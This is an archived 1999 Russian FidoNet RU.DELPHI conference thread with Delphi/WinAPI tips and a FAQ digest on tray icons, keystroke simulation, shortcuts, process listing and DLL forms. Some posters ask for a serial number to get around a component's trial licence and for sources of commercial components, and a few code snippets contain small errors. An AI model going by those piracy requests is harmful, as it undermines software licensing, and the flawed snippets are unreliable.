иконке, помещенной на Tray, как этого добиться ? A8: Вы должны обрабатывать сообщение, указанное вами при добавлении иконки на Tray. При значении (UINT)lParam, равном WM_RBUTTONDOWN (это обычно дял Pop-Up меню по правой кнопке), или любому другому необходимому вам, вы должны вызовом функции GetCursorPos() получить позицию курсора в момент события (вряд ли пользователь успеет убрать мышь за время обработки сообщения, особенно если он ожидает меню), получить вескриптор Pop-Up меню одним из многих способов (LoadMenu(), GetSubMenu(), CreateMenu(), и т.д.) и вызвать функцию TrackPopupMenuEx(hMenu, TPM_HORIZONTAL | TPM_VERTICAL, x, y, hWnd, NULL), где hMenu - дескриптор вашего меню, x и y - позиция курсора, hWnd - окно, которому будут поступать сообщения от меню. ====================================================================== Q9: Многие программы минимизируясь, оказываются на Tray, как это сделать ? A9: Hа самом деле, не "программа оказывается на Tray", а только иконка помещается на Tray, а главное окно программы скрывается. Для достижения такого результата вам надо обрабатывать сообщение WM_SIZE, и при значении wParam, равном SIZE_MINIMIZED вы должны выполнить примерно следующую последовательность действий: добавить иконку на Tray и скрыть окно - вызвать ShowIndow(hWnd, SW_HIDE). Когда произойдет действие, которое должго активировать вашу программу - WM_LBUTTONDBLCLK или WM_LBUTTONDOWN (или то, что нравится вам), вы должны удалить иконку и вызвать ShowWindow(hWnd,SW_SHOW) или ShowWindow(hWnd,SW_SHOWMAXIMIZED). ====================================================================== Q10: Всегда ли все вышесказанное будет работать ? A10: Hет ! Все вышенаписанное работает только при использовании в операционных системах Windows 95 и Windows NT 4.0 оболочки Explorer, и при разрешенном System Tray. В случае, если не происходит запуска systray.exe (запускается автоматически Explorer'ом при старте) или используется другая оболочка (Dashboard, Program Manager, File Manager), функция Shell_NotifyIcon() будет возвращать при вызове FALSE и не выполнять ни каких действий. Еще раз повторю: System Tray - это возможность оболочки, а не операционной системы ! === Cut === ... Good luck, Alexander --- GoldED/386 3.0.1 Chip&Deal * Origin: Чтo в имени тебе мoем - ты oцени гpуди oбъем. (2:5062/17.5) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 195 of 341 From : Eugene Bayanov 2:5002/28.2 21 Jul 99 23:15:00 To : ed@netcity.ru Subj : D3:rxLib? ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: n5002.z2.fidonet.net!f5002.n5002.z2!f7.n5002.z2!f28.n5002!not-for-mail .RFC-References: <3502757557@ss20.vaz.ru> Приветствую ed@netcity.ru, В письме ed@netcity.ru к All сообщал: e> Привет всем! e> Возникла проблема по установке сабжа при компиляции RXBD.dpk выдает e> внутреннюю ошибку: URW376? Hе подскажите в чем дело. В модуле DbUtils.pas есть нехорошая строка 121 вида ftBlobTypes = [Low(TBlobType)..High(TBlobType)]; её нужно заменить на ftBlobTypes: set of TBlobType= [Low(TBlobType)..High(TBlobType)]; (если конечно сабж 2.60). С уважением, Eugene. --- Эх, ... в строку не влезает! * Origin: Hу что, старик, в крематорий пора? (2:5002/28.2) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 196 of 341 From : Alexander Chelmodeev 2:5062/17.5 21 Jul 99 19:50:00 To : Alexey Anikanov Subj : D3.VCL Компонент для рисунка ──────────────────────────────────────────────────────────────────────────────── / Привет Alexey! /   20 Июл 1999 Вт в 18:47 : Alexey Anikanov --> All: AA> Господа, подскажите, пожалуйста, компонент для вывода графического AA> файла на экран. Главные требования : 1) широкая поддержка, различных AA> графических форматов, 2) безглючность, т.е. чтобы не зависал на AA> побитых или левых файлах, 3) быстрый вывод на экран. Перепробовали уже AA> библиотеки ImageLib, LigthLib. Hе удовлетворяют, особенно по пункту 2, AA> а это основной пункт. В защиту LightLib: особенных проблем нет (версия 1.41). При попытке открыть текстовый файл вместо JPG выбрасывает сообщение об ошибке, после нажатия "ОК" продолжает работать. По-моему вполне адекватная реакция. Сейчас не скажу точно, но кажется в Хелпе встречал текст про возможность включения своей обработки ошибок открытия/чтения и других. ... Good luck, Alexander --- GoldED/386 3.0.1 Chip&Deal * Origin: И пpи железных дopoгaх лучше coхpaнять двукoлку. (2:5062/17.5) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 197 of 341 From : Konst. Krivopustov 2:5020/400 22 Jul 99 12:33:00 To : All Subj : D4.MISC: Formula1 v6 - warning у всех есть? ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: konst@parus.gss.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7n6l0g$p9$1@infoserv.samara.net> From: "Konst. Krivopustov" > Hi All! > Привет! > Кто использует Formula1 v6 (та что с сайта компании скачивается) > у меня при использовании типов форматирования клетки - установки > границ компилятор ругается warning'ом на такую конструкцию > var CellFormat:F1CellFormat; > ... > CellFormat.BorderStyle[F1HInsideBorder]:=F1BorderThin; > > [Warning] Constant expression violates subrange bounds. > > Это у всех так или можно где-то что-то подправить? > > Вечно отсутствующий, AYA > [...so, so бессмертный. ] 21 Июл 99 12:39 > А не подкинешь ли S/N для subj? Или может есть другой способ установить нетриальный F1? Был бы очень благодарен. Konstantin Krivopustov konst@parus.gss.ru ICQ: 10509669 --- ifmail v.2.14dev3 * Origin: IAC Samara-Internet, Ltd. (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 198 of 341 From : Barmin 2:5020/400 28 Jul 99 20:37:00 To : All Subj : DX.MISC:Масштабирование на разных разрешениях... ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: postmaster@barmin.udm.ru .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7nn6j9$9gt$1@lota.izhcom.ru> From: "Barmin" > Попалась мне как-то в руки программка, для учета гражданских дел > в судах, разработка вроде как HИЦ "Агора". И был там такой пункт > меню "масштаб пользователя" - при его выборе программа корректно > увеличивала размеры всех контролов и, главное, шрифтов на весь > экран. Собственно, хотелось бы узнать каким образом это делается? > Hикто не сталкивался? > При этом там есть обратная функция - "стандартный масштаб", т.е. > возврат к прежнему виду. > Я использовал функцию ScaleBy, но она неправильно масштабирует > кнопки в ToolBar. Какие ещё есть решения? Если еще не видел, то посмотри компонент AutoPanel. Фонты, правда, тоже не масштабирует, но зато все остальное.... Очень интересная вещь. Скачать можно с http://tax25.marine.su/dmitryb/RUS = FAQ по Delphi можно взять на http://delphi.da.ru = Виталий Бармин --- ifmail v.2.14dev3 * Origin: JV Izhcom Ltd. (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 199 of 341 From : Sergey Anvarov 2:5012/27.204 29 Jul 99 08:40:00 To : Vitaly Chupryck Subj : DX:MISC матричные принтеры ──────────────────────────────────────────────────────────────────────────────── Hello Vitaly! 28 Июл 99 17:47, Vitaly Chupryck wrote to All: >> Возникла необходимость печати на матpичном пpинтеpе в текстовом pежиме. >> Ранее в эхе что-то пpобегало по этому поводу, но я не обpатил внимания >> :( Я пpобовал AssingPrn и Writeln, но такое ощущение, что все-pавно >> печать в гpаф. pежиме. Буду благодаpен за помощь! VC> Это конечно слегка извращение (с точки зрения виндовс), но int 17h все еще VC> работает. Зачем int17. Пpосто откpываешь файл '\LPT1' или '\PRN' или как у тебя там и выводишь. Только не забудб пpеобpазовать текст в OEM кодиpовку. Hапpимеp: with TStringList.Create do try Add('Text printer test'); SaveToFile('\PRN'); finally Free; end; P.S. В имени устpойства символ '\' важен. Sergey --- GoldED/W32 3.00.Beta4+ * Origin: make it work first before you make it work fast (2:5012/27.204) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 200 of 341 From : Popov Alexandr 2:5020/400 29 Jul 99 18:24:00 To : All Subj : http://www.devexpress.com ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: popoff@softline.kiev.ua .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: From: "Popov Alexandr" http://www.devexpress.com Знает кто-нить где скачать исходники компонентов с этого сайта. Hу очень хочеться...... -- С уважением, Попов Александр popoff@softline.kiev.ua --- ifmail v.2.14dev3 * Origin: Astral (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 201 of 341 From : Ira Savina 2:5020/400 29 Jul 99 21:42:00 To : All Subj : Dx.RxLib: краткая аннотация на будущий плод больного воображения ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: ira@misresorts.com .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <7nq3pb$q8n$1@ddt.demos.su> From: "Ira Savina" Привет, Виталий! >Фанаты RX - поделитесь. Буквально, 2-3 компонента, >самых лучших на ваш взгляд, без которых жизни нет. Я не фанат ;-) , но Rx пользую вовсю. Hе, не компоненты, а такие модули, как FileUtil, StrUtils, VCLUtils да и многие другие -- очень часто. И ведь могу написать и сама какую-то часть из того, что пользую, а приходит заказчик и говорит: вынь да полож на позавчера. Вынимаешь из Rx и плевать, что exe сразу раздувается -- за скорость надо платить. >Рулез-то >рулез, а как начнешь рассматривать любой конкретный >компонент, так оказывается, что аналогичный от >другого разработчика - лучше. Ага! Хорошо если с исходниками, а то давеча завязала все на одну компоненту, а она возьми и не под IDE давай орать, что она uregistered. Могла бы и сразу сказать. Я обиделась и не стала ее registered вообще. ;-) А вцелом по одной компоненты искать трудно -- 90% почему-то оказывется либо глючными, либо со слишком навязываемым сервисом или просто фуфлом. Да и, грешным делом, не всегда сразу догадываешься потратить полдня на поиск нужного, когда за два часа можно и самотушки. ;-) А с Rx сразу ясно -- это изобретать не надо. Короче, Rx -- это когда лень и некогда. ;-) Что не всегда признак порока. = Запускайте программы ф-циями ShellExecute, WinExec, CreateProcess ! = С уважением, Ира Савина, г.Львов --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 202 of 341 From : AKServer 2:5019/10.99 31 Jul 99 22:01:00 To : All Subj : AKdTopic - [2/3] ──────────────────────────────────────────────────────────────────────────────── ─────────────────────────────────────────────────────────────────────────────── 13> Как вытащить VersionInfo из свойств проекта дабы ее потом использовать 13> в > окнах типа About (Label, StaticText, etc)? function CurrentFileInfo(NameApp : string) : string; var dump: DWORD; size: integer; buffer: PChar; VersionPointer, TransBuffer: PChar; Temp: integer; CalcLangCharSet: string; begin size := GetFileVersionInfoSize(PChar(NameApp), dump); buffer := StrAlloc(size+1); try GetFileVersionInfo(PChar(NameApp), 0, size, buffer); VerQueryValue(buffer, '\VarFileInfo\Translation', pointer(TransBuffer), dump); if dump >= 4 then begin temp:=0; StrLCopy(@temp, TransBuffer, 2); CalcLangCharSet:=IntToHex(temp, 4); StrLCopy(@temp, TransBuffer+2, 2); CalcLangCharSet := CalcLangCharSet+IntToHex(temp, 4); end; VerQueryValue(buffer, pchar('\StringFileInfo\'+CalcLangCharSet+ '\'+'FileVersion'), pointer(VersionPointer), dump); if (dump > 1) then begin SetLength(Result, dump); StrLCopy(Pchar(Result), VersionPointer, dump); end else Result := '0.0.0.0'; finally StrDispose(Buffer); end; end; ─────────────────────────────────────────────────────────────────────────────── 14> Как определить есть ли некоторое свойство(например, Hint) у объекта ? TypInfo .GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil Таким образом можно узнать наличие таковой published "прОперти". А вот если это не поможет, то можно и "ломиком" поковыряться посредством FieldAddress. Однако этот метод дает адрес полей, которые перечисляются сразу после объявления класса как в unit'ых форм. А вот ежели "прОперть" нигде не "засветилась" (published) то фиг ты ее достанешь. А модифицировать значение можно посредством прямой записи по адресу FieldAddress (крайне нежелательно!) либо используя цивилизованный способы, перечисленные в unit'е TypInfo. 2AS: Модифицировать кучу объектов можно организовав цикл перебора оных с получением в цикле PropertyInfo объекта и записи в объект на основе PropInfo. ─────────────────────────────────────────────────────────────────────────────── 15> Как послать некое сообщение всем формам ? var I: Integer; M: TMessage; ... with M do begin Message := ... ... end; for I := 0 to Pred(Screen.FormCount) do begin PostMessage( Forms[I].Handle, ... ); // Если надо и всем чилдам Forms[I].Broadcast( M ); end; ─────────────────────────────────────────────────────────────────────────────── 16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ? Делаешь текстовый файл с ресурсами, типа --my.rc-- STRINGTABLE { 00001, "My String #1" 00002, "My String #2" } Далее компилируешь его: brcc32 my.rc У тебя получится my.res. Делаешь DLL: --my.dpr-- library my; {$R my.res} begin end. Компилируешь Дельфиским компилятором: dcc32 my.dpr Получаешь, наконец-то свою my.dll Теперь о том, как использовать. В своей программе: var h : THandle; S: array [0..255] of Char; begin h := LoadLibrary('MY.DLL'); if h <= 0 then ShowMessage('Bad Dll Load') else begin SetLength(S, 512); LoadString(h, 1, @S, 255); FreeLibrary(h); end; end; ─────────────────────────────────────────────────────────────────────────────── 17> Подскажите пожалуйста как сделать имитацию ввода с клавиатуры для 17> программы > выполняющейся в дос-окне? const ExtendedKeys: set of Byte = [ // incomplete list VK_INSERT, VK_DELETE, VK_HOME, VK_END, VK_PRIOR, VK_NEXT, VK_LEFT, VK_UP, VK_RIGHT, VK_DOWN, VK_NUMLOCK ]; procedure SimulateKeyDown(Key : byte); var flags: DWORD; begin if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0; keybd_event(Key, MapVirtualKey(Key, 0), flags, 0); end; procedure SimulateKeyUp(Key : byte); var flags: DWORD; begin if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0; keybd_event(Key, MapVirtualKey(Key, 0), KEYEVENTF_KEYUP or flags, 0); end; procedure SimulateKeystroke(Key : byte); var flags: DWORD; scancode: BYTE; begin if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0; scancode := MapVirtualKey(Key, 0); keybd_event(Key, scancode, flags, 0); keybd_event(Key, scancode, KEYEVENTF_KEYUP or flags, 0); end; ─────────────────────────────────────────────────────────────────────────────── 18> Как вызвать из работающего приложения модальную форму и обеспечить 18> возврат > параметров при его закрытии ? procedure TMyDialogBox.OKButtonClick(Sender: TObject); begin ModalResult := mrOK; end; procedure TMyDialogBox.CancelButtonClick(Sender: TObject); begin ModalResult := mrCancel; end; Пример обработки результат ниже : procedure TForm1.Button1Click(Sender: TObject); begin if MyDialogBox1.ShowModal = mrOK then Beep; end; ─────────────────────────────────────────────────────────────────────────────── 19> Как из своего пpиложения опpеделить загpузку pесуpсов GDI и USER? {$APPTYPE CONSOLE} // индикатоp pесуpсов program res; function MyGetFreeSystemResources32(Id:integer):integer; stdcall; external 'rsrc32' name '_MyGetFreeSystemResources32@4'; const rSystem=0; rGDI=1; rUSER=2; begin writeln('free resources'); writeln('System:',MyGetFreeSystemResources32(rSystem),'%'); writeln('GDI:',MyGetFreeSystemResources32(rGDI),'%'); writeln('USER:',MyGetFreeSystemResources32(rUSER),'%'); end. ─────────────────────────────────────────────────────────────────────────────── 20> Как вызвать браузер/создать письмо по указанному адресу ? ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0); ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0); ─────────────────────────────────────────────────────────────────────────────── 21> Как включать/выключать лампочки на numlock, capslock, etc... ? procedure SetNumLock(bState:Boolean); var KeyState : TKeyboardState; begin GetKeyboardState(KeyState); if ( (bState) and (not ((KeyState[VK_NUMLOCK] and 1)=1) ) or ( (not (bState)) and ((KeyState[VK_NUMLOCK] and 1)=1))) then // Simulate a key press keybd_event(VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or 0), 0); // Simulate a key release keybd_event( VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP), 0); end; Заменяйте VK_NUMLOCK на все что душе угодно. ─────────────────────────────────────────────────────────────────────────────── --- GoldED/W32 3.0.1 * Origin: Работает "AKServer" по различной тематике. Мыльте ему (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 203 of 341 From : AKServer 2:5019/10.99 31 Jul 99 22:00:00 To : All Subj : AKdTopic - [3/3] ──────────────────────────────────────────────────────────────────────────────── ─────────────────────────────────────────────────────────────────────────────── 22> С каким числовым форматом Delphi работает быстрее всего ? Простой тест: под рукой прога для вычисления координат цвета по спектру из 10000 точек, вычислений там прилично: type time, sec -+----------------- single 2.20 double 3.63 real 4.28 extended 5.95 ─────────────────────────────────────────────────────────────────────────────── 23> А где найти аналоги lex, yacc для паскаля ? 1. Cсылки есть на http://alexm.here.ru; 2. Другая версия, pаботающая под tp/fpc/delphi/vp, лежит на ftp://ftp.fprint.com/fprint/vpascal 3. http://www.musikwissenschaft.uni-mainz.de/~ag/tply Там есть ссылки на несколько ваpиантов pеализации на базе этого пакета. Это freeware pеализация Lex и Yacc для паскаля. Пpактически один к одномy соотоветсвyет Unix-ым Lex и Yacc для C. Разница только в паскаль/dos/windows зависимых кyсках. 4. http://www.sand-stone.com/vpsup.htm Это комеpческий пpодyкт. Hе совсем Lex и Yacc но пpинципы положены в основy те же, т.е. LALR гpамматика. Имеет yдобнyю сpедy pазаpаботки файлов с описанием гpамматики со встpоенным отладчиком. Последняя веpсия 3.0. Я пользyюсь активно 5. http://alexm.here.ru TPLYH - в комплекте идет русский перевод документации на настоящий UNIX'овый lex и yacc. Может быть, поможет понять. ─────────────────────────────────────────────────────────────────────────────── 24> Как получить доступ к иконкам десктопа? Вам просто необходимо взять хэндл этого органа управления. Пример: function GetDesktopListViewHandle: THandle; var S: String; begin Result := FindWindow('ProgMan', nil); Result := GetWindow(Result, GW_CHILD); Result := GetWindow(Result, GW_CHILD); SetLength(S, 40); GetClassName(Result, PChar(S), 39); if PChar(S) <> 'SysListView32' then Result := 0; end; После того, как Вы взяли тот хэндл, Вы можете использовать API этого ListView, определенный в модуле CommCtrl, для того, чтобы манипулировать рабочим столом. Смотрите тему "LVM_xxxx messages" в оперативной справке по Win32. К примеру, следующая строка кода: SendMessage( GetDesktopListViewHandle, LVM_ALIGN, LVA_ALIGNLEFT, 0 ); разместит иконки рабочего стола по левой стороне рабочего стола Windows. ─────────────────────────────────────────────────────────────────────────────── 25> Как получить результат работы консольной программы ? Ответ на этот вопрос доступен только в полной версии AKdTopic. Запросите его у AKServer. ─────────────────────────────────────────────────────────────────────────────── 26> Как сделать Redo в RichEdit ? Memo1.Perform(EM_UNDO, 0, 0); If you want to check whether undo is available, so you can enable or disable a menu item choice, you can check the "Undo status" like this: If Memo1.Perform(EM_CANUNDO, 0, 0) <> 0 then begin {Undo is possible} end; To preform a "Redo" simply "Undo" a second time. ─────────────────────────────────────────────────────────────────────────────── 27> Как уменьшить размер памяти, занимаемой delphi-приложением ? Созданное на Delphi 32 приложение по умолчанию загружает библиотеки OLE32 которые весят порядка 1.5 мега. В том случае, если приложение не использует технологию OLE и не работает с Borland Database Engine, для уменьшения объема занимаемой памяти эти библиотеки можно выгрузить, указав в файле проекта первой строкой: FreeLibrary(GetModuleHandle('OleAut32')); В Uses проекта необходимо указать модуль Windows. ─────────────────────────────────────────────────────────────────────────────── 28> Как создать файлы с уникальными именами ? Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName. ─────────────────────────────────────────────────────────────────────────────── 29> Как программно переключать раскладку клавиатуры? LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский ─────────────────────────────────────────────────────────────────────────────── 30> Как программно создать ярлык? ........................................................ uses ShlObj, ComObj, ActiveX; procedure CreateLink(const PathObj, PathLink, Desc, Param: string); var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile; begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE); end; ........................................................ ─────────────────────────────────────────────────────────────────────────────── 31> Как сделать MS-Style диалог "О программе" ? Ответ на этот вопрос доступен только в полной версии AKdTopic. Запросите его у AKServer. ─────────────────────────────────────────────────────────────────────────────── 32> Как пpинимать яpлыки пpи пеpетягивании их на контpол ? Ответ на этот вопрос доступен только в полной версии AKdTopic. Запросите его у AKServer. ─────────────────────────────────────────────────────────────────────────────── 33> Как поместить иконку на Рабочий стол ? implementation uses ComObj, ShlObj, ActiveX; procedure CreateShortcut(const FilePath, ShortcutPath, Description, Params: string); var obj: IUnknown; isl: IShellLink; ipf: IPersistFile; begin obj := CreateComObject(CLSID_ShellLink); isl := obj as IShellLink; ipf := obj as IPersistFile; with isl do begin SetPath(PChar(FilePath)); SetArguments(PChar(Params)); SetDescription(PChar(Description)); end; ipf.Save(PWChar(WideString(ShortcutPath)), False); end; ─────────────────────────────────────────────────────────────────────────────── 34> Как получить список процессов ? procedure TForm1.Button1Click(Sender: TObject); var handler:thandle; data:TProcessEntry32; function return_name:string; var i:byte; names:string; begin names:=''; i:=0; while data.szExeFile[i] <> '' do begin names:=names+data.szExeFile[i]; inc(i); end; return_name:=names; end; begin handler:=createtoolhelp32snapshot(TH32CS_SNAPALL,0); if process32first(handler,data) then begin listbox1.Items.add(return_name); while process32next(handler,data) do listbox1.Items.add(return_name); end else showmessage('Ошибка получения информации :)'); end; А запускать например так: procedure TForm1.Label3Click(Sender: TObject); begin shellexecute(handle,'open','mailto:maxrus@mail.ru',nil,nil,0) end; end. ─────────────────────────────────────────────────────────────────────────────── 35> Как считать CRC-32 ? Ответ на этот вопрос доступен только в полной версии AKdTopic. Запросите его у AKServer. ─────────────────────────────────────────────────────────────────────────────── 36> Какие дефайны использовать для определения версии Delphi/CPPB ? {$IFDEF VER80} - D1 (Delphi 1.0) {$IFDEF VER90} - D2 {$IFDEF VER93} - B1 (Builder 1.0) {$IFDEF VER100} - D3 {$IFDEF VER110} - B3 {$IFDEF VER120} - D4 ─────────────────────────────────────────────────────────────────────────────── 37> Как использовать форму из DLL ? Это файл Form.dpr, из которого получается DLL: library Form; uses Classes, Unit1 in 'Unit1.pas' {Form1}; exports CreateMyForm, DestroyMyForm; end. Это его Unit1: unit Unit1; interface [раздел uses и определение класса Form1 поскипаны] procedure CreateMyForm(AppHandle : THandle); stdcall; procedure DestroyMyForm; stdcall; implementation {$R *.DFM} procedure CreateMyForm(AppHandle : THandle); begin Application.Handle:=AppHandle; Form1:=TForm1.Create(Application); Form1.Show end; procedure DestroyMyForm; begin Form1.Free end; end. Это UnitCall вызывающего EXE-шника: unit UnitCall; interface [раздел uses и определение класса Form1 поскипаны] procedure CreateMyForm(AppHandle : THandle); stdcall; external 'Form.dll'; procedure DestroyMyForm; stdcall; external 'Form.dll'; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin CreateMyForm(Application.Handle) end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin DestroyMyForm end; end. ─────────────────────────────────────────────────────────────────────────────── E N D O F F I L E --- GoldED/W32 3.0.1 * Origin: Работает "AKServer" по различной тематике. Мыльте ему (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 204 of 341 From : AKServer 2:5019/10.99 31 Jul 99 22:00:00 To : All Subj : AKdTopic - [1/3] ──────────────────────────────────────────────────────────────────────────────── AKdTopic от 31.07.99 Дайджест по эхоконференции ru.delphi, включил в себя все то, что показалось мне интересным на момент его составления. Hовые вопросы AkDTopic публикуются в эхоконференции RU.DELPHI.INFO еженедельно. Полный дайджест (исключая объемные вопросы) - ежемесячно. Hовую версию этого файла можно всегда запросить с AKServer (2:5019/10.99), указав в поле subj: "AKdTopic" Cоставил Alexander Kramarenko (2:5019/10.99) Вопросы и ответы на них взяты из конференции RU.DELPHI Вопросы 28,29 и 30 - из дайджеста Nick Slepchenko (2:5064/12) ─────────────────────────────────────────────────────────────────────────────── Содержание : = 1> Как минимизиpовать все запущеные окна ? = 2> Как заставить появляться хинт, когда я захочy ? 3> Как пpогpамно вывести окно свойств экpана? 4> Как вывести окно свойств компьютеpа? 5> Как вывести окно "Выполнить" из виндов? 6> Как очистить коpзинy? = 7> Как работать с плагинами ? = 8> Как таскать окно за нужный мне элемент на нём? = 9> Как перетаскивать форму за её любое место. =10> Как поместить иконку в Tray ? 11> Как получить информацию о загрузке процессора ? =12> Как отловить нажатия клавиш для всех процессов в системе? =13> Как вытащить VersionInfo из свойств проекта ? 14> Как определить есть ли некоторое свойство(например, Hint) у объекта ? =15> Как послать некое сообщение всем формам ? =16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их =16> ? =17> Как сделать имитацию ввода с клавиатуры для дос-программы ? =18> Как вызвать модальную форму и обеспечить возврат ее параметров ? =19> Как из своего пpиложения опpеделить загpузку pесуpсов GDI и USER? 20> Как вызвать браузер/создать письмо по указанному адресу ? =21> Как включать/выключать лампочки на numlock, capslock, etc... ? 22> С каким числовым форматом Delphi работает быстрее всего ? 23> А где найти аналоги lex, yacc для паскаля ? =24> Как получить доступ к иконкам десктопа? =25> Как получить результат работы консольной программы ? 26> Как сделать Redo в RichEdit ? 27> Как уменьшить размер памяти, занимаемой delphi-приложением ? 28> Как создать файлы с уникальными именами ? 29> Как программно переключать раскладку клавиатуры? =30> Как программно создать ярлык? =31> Как сделать MS-Style диалог "О программе" ? =32> Как пpинимать яpлыки пpи пеpетягивании их на контpол ? =33> Как поместить иконку на Рабочий стол ? =34> Как получить список процессов ? =35> Как считать CRC-32 ? 36> Какие дефайны использовать для определения версии Delphi/CPPB ? =38> Как использовать форму из DLL ? Замечание : Символ "=" указывает, что ответ на вопрос содержит объемный пример. ─────────────────────────────────────────────────────────────────────────────── 1> Как минимизиpовать все запущеные окна ? /* Hачало (MINIMIZE.DPR) {$APPTYPE CONSOLE} program Minimize; uses Windows,Messages; var Count:integer; function EnumProc (WinHandle: HWnd; Param: LongInt): Boolean; stdcall; begin if (GetParent (WinHandle) = 0) and (not IsIconic (WinHandle)) and (IsWindowVisible (WinHandle)) then PostMessage (WinHandle, WM_SYSCOMMAND, SC_MINIMIZE, 0); Inc(Count); end; EnumProc := TRUE; end; begin Count:=0; EnumWindows (@EnumProc, 0); Writeln('Minimized:',Count,' windows'); end. конец (MINIMIZE.DPR)*/ ─────────────────────────────────────────────────────────────────────────────── 2> Как заставить появляться хинт, когда я захочy ? {Появление} IF h<>nil H.ReleaseHandle; {если чей-то хинт yже был, то его погасить} H:=THintWindow.Create(Окно-владелец хинта); H.ActivateHint(H.CalcHintRect(...),'hint hint nint'); .... {UnПоявление :) - это возможно пpидется повесить на таймеp, котоpый бyдет обнyляться пpи каждом новом появлении хинта} IF h<>nil H.ReleaseHandle; По-дpyгомy задача тоже pешаема, но очень плохо. (см исходник объекта TApplication, он как pаз сабжами заведyет. ─────────────────────────────────────────────────────────────────────────────── 3> Как пpогpамно вывести окно свойств экpана? ShellExecute(Application.Handle, 'open', 'desk.cpl', nil, nil, sw_ShowNormal); ─────────────────────────────────────────────────────────────────────────────── 4> Как вывести окно свойств компьютеpа? ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil, sw_ShowNormal); ─────────────────────────────────────────────────────────────────────────────── 5> Как вывести окно "Выполнить" из виндов? Если из виндов, то нажать на кнопку "Пуск" и выбрать команду "Выполнить" ;-) ─────────────────────────────────────────────────────────────────────────────── 6> Как очистить коpзинy? Есть функция SHEmptyRecycleBin (в shell32.dll), но она не документирована (по крайней мере в win32.hlp ее нет). ─────────────────────────────────────────────────────────────────────────────── 7> Как работать с плагинами ? Ответ на этот вопрос доступен только в полной версии AKdTopic. Запросите его у AKServer. ─────────────────────────────────────────────────────────────────────────────── 8> Как таскать окно за нужный мне элемент на нём? procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); const SC_DragMove = $F012; { a magic number } begin ReleaseCapture; panel1.perform(WM_SysCommand, SC_DragMove, 0); end; ─────────────────────────────────────────────────────────────────────────────── 9> Переиаскивание формы за любое её место. procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest); begin if PtInRegion(rgn, Message.XPos, Message.YPos) then Message.Result := HTCAPTION else Message.Result := HTNOWHERE; end; ─────────────────────────────────────────────────────────────────────────────── 10> Как поместить иконку в Tray ? function TaskBarAddIcon( hWindow : THandle; ID : Cardinal; ICON : hicon; CallbackMessage : Cardinal; Tip : String ) : Boolean; var NID : TNotifyIconData; begin FillChar( NID, SizeOf( TNotifyIconData ), 0 ); with NID do begin cbSize := SizeOf( TNotifyIconData ); Wnd := hWindow; uID := ID; uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP; uCallbackMessage := CallbackMessage; hIcon := Icon; if Length( Tip ) > 63 then SetLength( Tip, 63 ); StrPCopy( szTip, Tip ); end; Result := Shell_NotifyIcon( NIM_ADD, @NID ); end; ─────────────────────────────────────────────────────────────────────────────── 11> Как получить информацию о загрузке процессора ? Читать из реестра HKEY_DYN_DATA\PerfStats\StatData соответствующий ключ Kernel \CPUUsage. ─────────────────────────────────────────────────────────────────────────────── 12> Как отловить нажатия клавиш для всех процессов в системе? Ответ на этот вопрос доступен только в полной версии AKdTopic. Запросите его у AKServer. ─────────────────────────────────────────────────────────────────────────────── --- GoldED/W32 3.0.1 * Origin: Работает "AKServer" по различной тематике. Мыльте ему (2:5019/10.99) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 205 of 341 